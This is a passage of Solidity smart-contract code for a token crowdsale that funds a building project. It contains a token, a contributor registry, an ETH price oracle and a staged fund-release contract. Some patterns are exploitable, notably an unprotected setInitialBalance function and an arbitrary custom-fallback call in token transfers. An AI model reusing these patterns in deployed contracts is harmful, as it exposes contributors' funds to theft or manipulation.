if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BuildingStatus is Ownable {
address public observer;
address public crowdsale;
enum statusEnum {
crowdsale,
refund,
preparation_works,
building_permit,
design_technical_documentation,
utilities_outsite,
construction_residential,
frame20,
frame40,
frame60,
frame80,
frame100,
stage1,
stage2,
stage3,
stage4,
stage5,
facades20,
facades40,
facades60,
facades80,
facades100,
engineering,
finishing,
construction_parking,
civil_works,
engineering_further,
commisioning_project,
completed
}
modifier notCompleted() {
require(status != statusEnum.completed);
_;
}
modifier onlyObserver() {
require(msg.sender == observer || msg.sender == owner || msg.sender == address(this));
_;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsale || msg.sender == owner || msg.sender == address(this));
_;
}
statusEnum public status;
event StatusChanged(statusEnum newStatus);
function setStatus(statusEnum newStatus) onlyCrowdsale public {
status = newStatus;
StatusChanged(newStatus);
}
function changeStage(uint8 stage) public onlyObserver {
if (stage==1) status = statusEnum.stage1;
if (stage==2) status = statusEnum.stage2;
if (stage==3) status = statusEnum.stage3;
if (stage==4) status = statusEnum.stage4;
if (stage==5) status = statusEnum.stage5;
}
}
contract PermissionManager is Ownable {
mapping (address => bool) permittedAddresses;
function addAddress(address newAddress) public onlyOwner {
permittedAddresses[newAddress] = true;
}
function removeAddress(address remAddress) public onlyOwner {
permittedAddresses[remAddress] = false;
}
function isPermitted(address pAddress) public view returns(bool) {
if (permittedAddresses[pAddress]) {
return true;
}
return false;
}
}
contract Registry is Ownable {
struct ContributorData {
bool isActive;
uint contributionETH;
uint contributionUSD;
uint tokensIssued;
uint quoteUSD;
uint contributionRNTB;
}
mapping(address => ContributorData) public contributorList;
mapping(uint => address) private contributorIndexes;
uint private nextContributorIndex;
PermissionManager public permissionManager;
bool public completed;
modifier onlyPermitted() {
require(permissionManager.isPermitted(msg.sender));
_;
}
event ContributionAdded(address _contributor, uint overallEth, uint overallUSD, uint overallToken, uint quote);
event ContributionEdited(address _contributor, uint overallEth, uint overallUSD, uint overallToken, uint quote);
function Registry(address pManager) public {
permissionManager = PermissionManager(pManager);
completed = false;
}
function setPermissionManager(address _permadr) public onlyOwner {
require(_permadr != 0x0);
permissionManager = PermissionManager(_permadr);
}
function isActiveContributor(address contributor) public view returns(bool) {
return contributorList[contributor].isActive;
}
function removeContribution(address contributor) public onlyPermitted {
contributorList[contributor].isActive = false;
}
function setCompleted(bool compl) public onlyPermitted {
completed = compl;
}
function addContribution(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote ) public onlyPermitted {
if (contributorList[_contributor].isActive == false) {
contributorList[_contributor].isActive = true;
contributorList[_contributor].contributionETH = _amount;
contributorList[_contributor].contributionUSD = _amusd;
contributorList[_contributor].tokensIssued = _tokens;
contributorList[_contributor].quoteUSD = _quote;
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex++;
} else {
contributorList[_contributor].contributionETH += _amount;
contributorList[_contributor].contributionUSD += _amusd;
contributorList[_contributor].tokensIssued += _tokens;
contributorList[_contributor].quoteUSD = _quote;
}
ContributionAdded(_contributor, contributorList[_contributor].contributionETH, contributorList[_contributor].contributionUSD, contributorList[_contributor].tokensIssued, contributorList[_contributor].quoteUSD);
}
function editContribution(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote) public onlyPermitted {
if (contributorList[_contributor].isActive == true) {
contributorList[_contributor].contributionETH = _amount;
contributorList[_contributor].contributionUSD = _amusd;
contributorList[_contributor].tokensIssued = _tokens;
contributorList[_contributor].quoteUSD = _quote;
}
ContributionEdited(_contributor, contributorList[_contributor].contributionETH, contributorList[_contributor].contributionUSD, contributorList[_contributor].tokensIssued, contributorList[_contributor].quoteUSD);
}
function addContributor(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote) public onlyPermitted {
contributorList[_contributor].isActive = true;
contributorList[_contributor].contributionETH = _amount;
contributorList[_contributor].contributionUSD = _amusd;
contributorList[_contributor].tokensIssued = _tokens;
contributorList[_contributor].quoteUSD = _quote;
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex++;
ContributionAdded(_contributor, contributorList[_contributor].contributionETH, contributorList[_contributor].contributionUSD, contributorList[_contributor].tokensIssued, contributorList[_contributor].quoteUSD);
}
function getContributionETH(address _contributor) public view returns (uint) {
return contributorList[_contributor].contributionETH;
}
function getContributionUSD(address _contributor) public view returns (uint) {
return contributorList[_contributor].contributionUSD;
}
function getContributionRNTB(address _contributor) public view returns (uint) {
return contributorList[_contributor].contributionRNTB;
}
function getContributionTokens(address _contributor) public view returns (uint) {
return contributorList[_contributor].tokensIssued;
}
function addRNTBContribution(address _contributor, uint _amount) public onlyPermitted {
if (contributorList[_contributor].isActive == false) {
contributorList[_contributor].isActive = true;
contributorList[_contributor].contributionRNTB = _amount;
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex++;
} else {
contributorList[_contributor].contributionETH += _amount;
}
}
function getContributorByIndex(uint index) public view returns (address) {
return contributorIndexes[index];
}
function getContributorAmount() public view returns(uint) {
return nextContributorIndex;
}
}
contract OraclizeC is Ownable, usingOraclize {
uint public updateInterval = 300;
uint public gasLimit = 200000;
mapping (bytes32 => bool) validIds;
string public url;
enum State { New, Stopped, Active }
State public state = State.New;
event LogOraclizeQuery(string description, uint balance, uint blockTimestamp);
event LogOraclizeAddrResolverI(address oar);
modifier inActiveState() {
require(state == State.Active);
_;
}
modifier inStoppedState() {
require(state == State.Stopped);
_;
}
modifier inNewState() {
require(state == State.New);
_;
}
function setUpdateInterval(uint newInterval) external onlyOwner {
require(newInterval > 0);
updateInterval = newInterval;
}
function setUrl(string newUrl) external onlyOwner {
require(bytes(newUrl).length > 0);
url = newUrl;
}
function setGasLimit(uint _gasLimit) external onlyOwner {
require(_gasLimit > 50000);
gasLimit = _gasLimit;
}
function setGasPrice(uint gasPrice) external onlyOwner {
require(gasPrice >= 1000000000);
oraclize_setCustomGasPrice(gasPrice);
}
function setOraclizeAddrResolverI(address __oar) public onlyOwner {
require(__oar != 0x0);
OAR = OraclizeAddrResolverI(__oar);
LogOraclizeAddrResolverI(__oar);
}
function withdraw(address receiver) external onlyOwner inStoppedState {
require(receiver != 0x0);
receiver.transfer(this.balance);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ETHPriceProvider is OraclizeC {
using SafeMath for uint;
uint public currentPrice;
ETHPriceWatcher public watcher;
event LogPriceUpdated(string getPrice, uint setPrice, uint blockTimestamp);
event LogStartUpdate(uint startingPrice, uint updateInterval, uint blockTimestamp);
function notifyWatcher() internal;
function ETHPriceProvider(string _url) payable public {
url = _url;
}
function startUpdate(uint startingPrice) payable onlyOwner inNewState public {
state = State.Active;
currentPrice = startingPrice;
update(updateInterval);
notifyWatcher();
LogStartUpdate(startingPrice, updateInterval, block.timestamp);
}
function stopUpdate() external onlyOwner inActiveState {
state = State.Stopped;
}
function setWatcher(address newWatcher) external onlyOwner {
require(newWatcher != 0x0);
watcher = ETHPriceWatcher(newWatcher);
}
function __callback(bytes32 myid, string result) public {
require(msg.sender == oraclize_cbAddress() && validIds[myid]);
delete validIds[myid];
uint newPrice = parseInt(result, 2);
if (state == State.Active) {
update(updateInterval);
}
require(newPrice > 0);
currentPrice = newPrice;
notifyWatcher();
LogPriceUpdated(result,newPrice,block.timestamp);
}
function update(uint delay) private {
if (oraclize_getPrice("URL") > this.balance) {
state = State.Stopped;
LogOraclizeQuery("Oraclize query was NOT sent", this.balance,block.timestamp);
} else {
bytes32 queryId = oraclize_query(delay, "URL", url, gasLimit);
validIds[queryId] = true;
}
}
function getQuote() public constant returns (uint) {
return currentPrice;
}
}
contract ConvertQuote is ETHPriceProvider {
function ConvertQuote(uint _currentPrice) ETHPriceProvider("BIa/Nnj1+ipZBrrLIgpTsI6ukQTlTJMd1c0iC7zvxx+nZzq9ODgBSmCLo3Zc0sYZwD8mlruAi5DblQvt2cGsfVeCyqaxu+1lWD325kgN6o0LxrOUW9OQWn2COB3TzcRL51Q+ZLBsT955S1OJbOqsfQ4gg/l2awe2EFVuO3WTprvwKhAa8tjl2iPYU/AJ83TVP9Kpz+ugTJumlz2Y6SPBGMNcvBoRq3MlnrR2h/XdqPbh3S2bxjbSTLwyZzu2DAgVtybPO1oJETY=") payable public {
currentPrice = _currentPrice;
}
function notifyWatcher() internal {
if(address(watcher) != 0x0) {
watcher.receiveEthPrice(currentPrice);
}
}
}
contract ERC223ReceivingContract {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
if(_data.length > 0) {
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
}
contract ERC223Interface {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function allowedAddressesOf(address who) public view returns (bool);
function getTotalSupply() public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
event TransferContract(address indexed from, address indexed to, uint value, bytes data);
}
contract UnityToken is ERC223Interface {
using SafeMath for uint;
string public constant name = "Unity Token";
string public constant symbol = "UNT";
uint8 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 100000 * (10 ** uint(decimals));
mapping(address => uint) balances;
mapping(address => bool) allowedAddresses;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function addAllowed(address newAddress) public onlyOwner {
allowedAddresses[newAddress] = true;
}
function removeAllowed(address remAddress) public onlyOwner {
allowedAddresses[remAddress] = false;
}
address public owner;
function UnityToken() public {
owner = msg.sender;
totalSupply = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY;
}
function getTotalSupply() public view returns (uint) {
return totalSupply;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
if (isContract(_to)) {
require(allowedAddresses[_to]);
if (balanceOf(msg.sender) < _value)
revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
TransferContract(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value)
revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(allowedAddresses[_to]);
if (balanceOf(msg.sender) < _value)
revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
TransferContract(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function allowedAddressesOf(address _owner) public view returns (bool allowed) {
return allowedAddresses[_owner];
}
}
contract Hold is Ownable {
uint8 stages = 5;
uint8 public percentage;
uint8 public currentStage;
uint public initialBalance;
uint public withdrawed;
address public multisig;
Registry registry;
PermissionManager public permissionManager;
uint nextContributorToTransferEth;
address public observer;
uint dateDeployed;
mapping(address => bool) private hasWithdrawedEth;
event InitialBalanceChanged(uint balance);
event EthReleased(uint ethreleased);
event EthRefunded(address contributor, uint ethrefunded);
event StageChanged(uint8 newStage);
event EthReturnedToOwner(address owner, uint balance);
modifier onlyPermitted() {
require(permissionManager.isPermitted(msg.sender) || msg.sender == owner);
_;
}
modifier onlyObserver() {
require(msg.sender == observer || msg.sender == owner);
_;
}
function Hold(address _multisig, uint cap, address pm, address registryAddress, address observerAddr) public {
percentage = 100 / stages;
currentStage = 0;
multisig = _multisig;
initialBalance = cap;
dateDeployed = now;
permissionManager = PermissionManager(pm);
registry = Registry(registryAddress);
observer = observerAddr;
}
function setPermissionManager(address _permadr) public onlyOwner {
require(_permadr != 0x0);
permissionManager = PermissionManager(_permadr);
}
function setObserver(address observerAddr) public onlyOwner {
require(observerAddr != 0x0);
observer = observerAddr;
}
function setInitialBalance(uint inBal) public {
initialBalance = inBal;
InitialBalanceChanged(inBal);
}
function releaseAllETH() onlyPermitted public {
uint balReleased = getBalanceReleased();
require(balReleased > 0);
require(this.balance >= balReleased);
multisig.transfer(balReleased);
withdrawed += balReleased;
EthReleased(balReleased);
}
function releaseETH(uint n) onlyPermitted public {
require(this.balance >= n);
require(getBalanceReleased() >= n);
multisig.transfer(n);
withdrawed += n;
EthReleased(n);
}
function getBalance() public view returns (uint) {
return this.balance;
}
function changeStageAndReleaseETH() public onlyObserver {
uint8 newStage = currentStage + 1;
require(newStage <= stages);
currentStage = newStage;
StageChanged(newStage);
releaseAllETH();
}
function changeStage() public onlyObserver {
uint8 newStage = currentStage + 1;
require(newStage <= stages);
currentStage = newStage;
StageChanged(newStage);
}
function getBalanceReleased() public view returns (uint) {
return initialBalance * percentage * currentStage / 100 - withdrawed ;
}
function returnETHByOwner() public onlyOwner {
require(now > dateDeployed + 183 days);
uint balance = getBalance();
owner.transfer(getBalance());
EthReturnedToOwner(owner, balance);
}
function refund(uint _numberOfReturns) public onlyOwner {
require(_numberOfReturns > 0);
address currentParticipantAddress;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++) {
currentParticipantAddress = registry.getContributorByIndex(nextContributorToTransferEth);
if (currentParticipantAddress == 0x0)
return;
if (!hasWithdrawedEth[currentParticipantAddress]) {
uint EthAmount = registry.getContributionETH(currentParticipantAddress);
EthAmount -= EthAmount * (percentage / 100 * currentStage);
currentParticipantAddress.transfer(EthAmount);
EthRefunded(currentParticipantAddress, EthAmount);
hasWithdrawedEth[currentParticipantAddress] = true;
}
nextContributorToTransferEth += 1;
}
}
function() public payable {
}
function getWithdrawed(address contrib) public onlyPermitted view returns (bool) {
return hasWithdrawedEth[contrib];
}
}
contract Crowdsale is Pausable, ETHPriceWatcher, ERC223ReceivingContract {
using SafeMath for uint256;
UnityToken public token;
Hold hold;
ConvertQuote convert;
Registry registry;
enum SaleState {NEW, SALE, ENDED, REFUND}
uint public softCap;
uint public hardCap;
uint public hardCapToken;
uint public startDate;
uint public endDate;
uint public ethUsdPrice;
uint public tokenUSDRate;
uint private ethRaised;
uint private usdRaised;
uint private totalTokens;
uint public withdrawedTokens;
uint public minimalContribution;
bool releasedTokens;
BuildingStatus public statusI;
PermissionManager public permissionManager;
uint private minimumTokensToStart;
SaleState public state;
uint private nextContributorToClaim;
uint private nextContributorToTransferTokens;
mapping(address => bool) private hasWithdrawedTokens;
mapping(address => bool) private hasRefunded;
event CrowdsaleStarted(uint blockNumber);
event CrowdsaleEnded(uint blockNumber);
event SoftCapReached(uint blockNumber);
event HardCapReached(uint blockNumber);
event ContributionAdded(address contrib, uint amount, uint amusd, uint tokens, uint ethusdrate);
event ContributionAddedManual(address contrib, uint amount, uint amusd, uint tokens, uint ethusdrate);
event ContributionEdit(address contrib, uint amount, uint amusd, uint tokens, uint ethusdrate);
event ContributionRemoved(address contrib, uint amount, uint amusd, uint tokens);
event TokensTransfered(address contributor, uint amount);
event Refunded(address ref, uint amount);
event ErrorSendingETH(address to, uint amount);
event WithdrawedEthToHold(uint amount);
event ManualChangeStartDate(uint beforeDate, uint afterDate);
event ManualChangeEndDate(uint beforeDate, uint afterDate);
event TokensTransferedToHold(address hold, uint amount);
event TokensTransferedToOwner(address hold, uint amount);
event ChangeMinAmount(uint oldMinAmount, uint minAmount);
event ChangePreSale(address preSale);
event ChangeTokenUSDRate(uint oldTokenUSDRate, uint tokenUSDRate);
event ChangeHardCapToken(uint oldHardCapToken, uint newHardCapToken);
event SoftCapChanged();
event HardCapChanged();
modifier onlyPermitted() {
require(permissionManager.isPermitted(msg.sender) || msg.sender == owner);
_;
}
function Crowdsale(
address tokenAddress,
address registryAddress,
address _permissionManager,
uint start,
uint end,
uint _softCap,
uint _hardCap,
address holdCont,
uint _ethUsdPrice) public
{
token = UnityToken(tokenAddress);
permissionManager = PermissionManager(_permissionManager);
state = SaleState.NEW;
startDate = start;
endDate = end;
minimalContribution = 0.3 * 1 ether;
tokenUSDRate = 44500;
releasedTokens = false;
softCap = _softCap * 1 ether;
hardCap = _hardCap * 1 ether;
hardCapToken = 100000 * 1 ether;
ethUsdPrice = _ethUsdPrice;
hold = Hold(holdCont);
registry = Registry(registryAddress);
}
function setPermissionManager(address _permadr) public onlyOwner {
require(_permadr != 0x0);
permissionManager = PermissionManager(_permadr);
}
function setRegistry(address _regadr) public onlyOwner {
require(_regadr != 0x0);
registry = Registry(_regadr);
}
function setTokenUSDRate(uint _tokenUSDRate) public onlyOwner {
require(_tokenUSDRate > 0);
uint oldTokenUSDRate = tokenUSDRate;
tokenUSDRate = _tokenUSDRate;
ChangeTokenUSDRate(oldTokenUSDRate, _tokenUSDRate);
}
function getTokenUSDRate() public view returns (uint) {
return tokenUSDRate;
}
function receiveEthPrice(uint _ethUsdPrice) external onlyEthPriceProvider {
require(_ethUsdPrice > 0);
ethUsdPrice = _ethUsdPrice;
}
function setEthPriceProvider(address provider) external onlyOwner {
require(provider != 0x0);
ethPriceProvider = provider;
}
function setHold(address holdCont) public onlyOwner {
require(holdCont != 0x0);
hold = Hold(holdCont);
}
function setToken(address tokCont) public onlyOwner {
require(tokCont != 0x0);
token = UnityToken(tokCont);
}
function setStatusI(address statI) public onlyOwner {
require(statI != 0x0);
statusI = BuildingStatus(statI);
}
function setStartDate(uint date) public onlyOwner {
uint oldStartDate = startDate;
startDate = date;
ManualChangeStartDate(oldStartDate, date);
}
function setEndDate(uint date) public onlyOwner {
uint oldEndDate = endDate;
endDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setSoftCap(uint _softCap) public onlyOwner {
softCap = _softCap * 1 ether;
SoftCapChanged();
}
function setHardCap(uint _hardCap) public onlyOwner {
hardCap = _hardCap * 1 ether;
HardCapChanged();
}
function setMinimalContribution(uint minimumAmount) public onlyOwner {
uint oldMinAmount = minimalContribution;
minimalContribution = minimumAmount;
ChangeMinAmount(oldMinAmount, minimalContribution);
}
function setHardCapToken(uint _hardCapToken) public onlyOwner {
require(_hardCapToken > 1 ether);
uint oldHardCapToken = _hardCapToken;
hardCapToken = _hardCapToken;
ChangeHardCapToken(oldHardCapToken, hardCapToken);
}
function() whenNotPaused public payable {
require(state == SaleState.SALE);
require(now >= startDate);
require(msg.value >= minimalContribution);
bool ckeck = checkCrowdsaleState(msg.value);
if(ckeck) {
processTransaction(msg.sender, msg.value);
} else {
msg.sender.transfer(msg.value);
}
}
function checkCrowdsaleState(uint _amount) internal returns (bool) {
uint usd = _amount.mul(ethUsdPrice);
if (usdRaised.add(usd) >= hardCap) {
state = SaleState.ENDED;
statusI.setStatus(BuildingStatus.statusEnum.preparation_works);
HardCapReached(block.number);
CrowdsaleEnded(block.number);
return true;
}
if (now > endDate) {
if (usdRaised.add(usd) >= softCap) {
state = SaleState.ENDED;
statusI.setStatus(BuildingStatus.statusEnum.preparation_works);
CrowdsaleEnded(block.number);
return false;
} else {
state = SaleState.REFUND;
statusI.setStatus(BuildingStatus.statusEnum.refund);
CrowdsaleEnded(block.number);
return false;
}
}
return true;
}
function processTransaction(address _contributor, uint _amount) internal {
require(msg.value >= minimalContribution);
uint maxContribution = calculateMaxContributionUsd();
uint contributionAmountUsd = _amount.mul(ethUsdPrice);
uint contributionAmountETH = _amount;
uint returnAmountETH = 0;
if (maxContribution < contributionAmountUsd) {
contributionAmountUsd = maxContribution;
uint returnAmountUsd = _amount.mul(ethUsdPrice) - maxContribution;
returnAmountETH = contributionAmountETH - returnAmountUsd.div(ethUsdPrice);
contributionAmountETH = contributionAmountETH.sub(returnAmountETH);
}
if (usdRaised + contributionAmountUsd >= softCap && softCap > usdRaised) {
SoftCapReached(block.number);
}
uint tokens = contributionAmountUsd.div(tokenUSDRate);
if(totalTokens + tokens > hardCapToken) {
_contributor.transfer(_amount);
} else {
if (tokens > 0) {
registry.addContribution(_contributor, contributionAmountETH, contributionAmountUsd, tokens, ethUsdPrice);
ethRaised += contributionAmountETH;
totalTokens += tokens;
usdRaised += contributionAmountUsd;
ContributionAdded(_contributor, contributionAmountETH, contributionAmountUsd, tokens, ethUsdPrice);
}
}
if (returnAmountETH != 0) {
_contributor.transfer(returnAmountETH);
}
}
function refundTransaction(bool _stateChanged) internal {
if (_stateChanged) {
msg.sender.transfer(msg.value);
} else{
revert();
}
}
function getTokensIssued() public view returns (uint) {
return totalTokens;
}
function getTotalUSDInTokens() public view returns (uint) {
return totalTokens.mul(tokenUSDRate);
}
function getUSDRaised() public view returns (uint) {
return usdRaised;
}
function calculateMaxContributionUsd() public constant returns (uint) {
return hardCap - usdRaised;
}
function calculateMaxTokensIssued() public constant returns (uint) {
return hardCapToken - totalTokens;
}
function calculateMaxEthIssued() public constant returns (uint) {
return hardCap.mul(ethUsdPrice) - usdRaised.mul(ethUsdPrice);
}
function getEthRaised() public view returns (uint) {
return ethRaised;
}
function checkBalanceContract() internal view returns (uint) {
return token.balanceOf(this);
}
function getContributorTokens(address contrib) public view returns (uint) {
return registry.getContributionTokens(contrib);
}
function getContributorETH(address contrib) public view returns (uint) {
return registry.getContributionETH(contrib);
}
function getContributorUSD(address contrib) public view returns (uint) {
return registry.getContributionUSD(contrib);
}
function batchReturnUNT(uint _numberOfReturns) public onlyOwner whenNotPaused {
require((now > endDate && usdRaised >= softCap ) || ( usdRaised >= hardCap) );
require(state == SaleState.ENDED);
require(_numberOfReturns > 0);
address currentParticipantAddress;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++) {
currentParticipantAddress = registry.getContributorByIndex(nextContributorToTransferTokens);
if (currentParticipantAddress == 0x0)
return;
if (!hasWithdrawedTokens[currentParticipantAddress] && registry.isActiveContributor(currentParticipantAddress)) {
uint numberOfUNT = registry.getContributionTokens(currentParticipantAddress);
if(token.transfer(currentParticipantAddress, numberOfUNT)) {
TokensTransfered(currentParticipantAddress, numberOfUNT);
withdrawedTokens += numberOfUNT;
hasWithdrawedTokens[currentParticipantAddress] = true;
}
}
nextContributorToTransferTokens += 1;
}
}
function getTokens() public whenNotPaused {
require((now > endDate && usdRaised >= softCap ) || ( usdRaised >= hardCap) );
require(state == SaleState.ENDED);
require(!hasWithdrawedTokens[msg.sender] && registry.isActiveContributor(msg.sender));
require(getTokenBalance() >= registry.getContributionTokens(msg.sender));
uint numberOfUNT = registry.getContributionTokens(msg.sender);
if(token.transfer(msg.sender, numberOfUNT)) {
TokensTransfered(msg.sender, numberOfUNT);
withdrawedTokens += numberOfUNT;
hasWithdrawedTokens[msg.sender] = true;
}
}
function getOverTokens() public onlyOwner {
require(checkBalanceContract() > (totalTokens - withdrawedTokens));
uint balance = checkBalanceContract() - (totalTokens - withdrawedTokens);
if(balance > 0) {
if(token.transfer(msg.sender, balance)) {
TokensTransfered(msg.sender, balance);
}
}
}
function refund() public whenNotPaused {
require(state == SaleState.REFUND);
require(registry.getContributionETH(msg.sender) > 0);
require(!hasRefunded[msg.sender]);
uint ethContributed = registry.getContributionETH(msg.sender);
if (!msg.sender.send(ethContributed)) {
ErrorSendingETH(msg.sender, ethContributed);
} else {
hasRefunded[msg.sender] = true;
Refunded(msg.sender, ethContributed);
}
}
function withdrawEth() public onlyOwner {
require(state == SaleState.ENDED);
uint bal = this.balance;
hold.transfer(bal);
hold.setInitialBalance(bal);
WithdrawedEthToHold(bal);
}
function newCrowdsale() public onlyOwner {
state = SaleState.NEW;
}
function startCrowdsale() public onlyOwner {
require(now > startDate && now <= endDate);
require(state == SaleState.NEW);
statusI.setStatus(BuildingStatus.statusEnum.crowdsale);
state = SaleState.SALE;
CrowdsaleStarted(block.number);
}
function hasEnded() public constant returns (bool) {
return now > endDate || state == SaleState.ENDED;
}
function getTokenBalance() public constant returns (uint) {
return token.balanceOf(this);
}
function getSoftCap() public view returns (uint) {
return softCap;
}
function getHardCap() public view returns (uint) {
return hardCap;
}
function getStartDate() public view returns (uint) {
return startDate;
}
function getEndDate() public view returns (uint) {
return endDate;
}
function getContributorAmount() public view returns (uint) {
return registry.getContributorAmount();
}
function getWithdrawed(address contrib) public view returns (bool) {
return hasWithdrawedTokens[contrib];
}
function getRefunded(address contrib) public view returns (bool) {
return hasRefunded[contrib];
}
function addContributor(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote) public onlyPermitted {
registry.addContributor(_contributor, _amount, _amusd, _tokens, _quote);
ethRaised += _amount;
usdRaised += _amusd;
totalTokens += _tokens;
ContributionAddedManual(_contributor, ethRaised, usdRaised, totalTokens, _quote);
}
function editContribution(address _contributor, uint _amount, uint _amusd, uint _tokens, uint _quote) public onlyPermitted {
ethRaised -= registry.getContributionETH(_contributor);
usdRaised -= registry.getContributionUSD(_contributor);
totalTokens -= registry.getContributionTokens(_contributor);
registry.editContribution(_contributor, _amount, _amusd, _tokens, _quote);
ethRaised += _amount;
usdRaised += _amusd;
totalTokens += _tokens;
ContributionAdded(_contributor, ethRaised, usdRaised, totalTokens, _quote);
}
function removeContributor(address _contributor) public onlyPermitted {
registry.removeContribution(_contributor);
ethRaised -= registry.getContributionETH(_contributor);
usdRaised -= registry.getContributionUSD(_contributor);
totalTokens -= registry.getContributionTokens(_contributor);
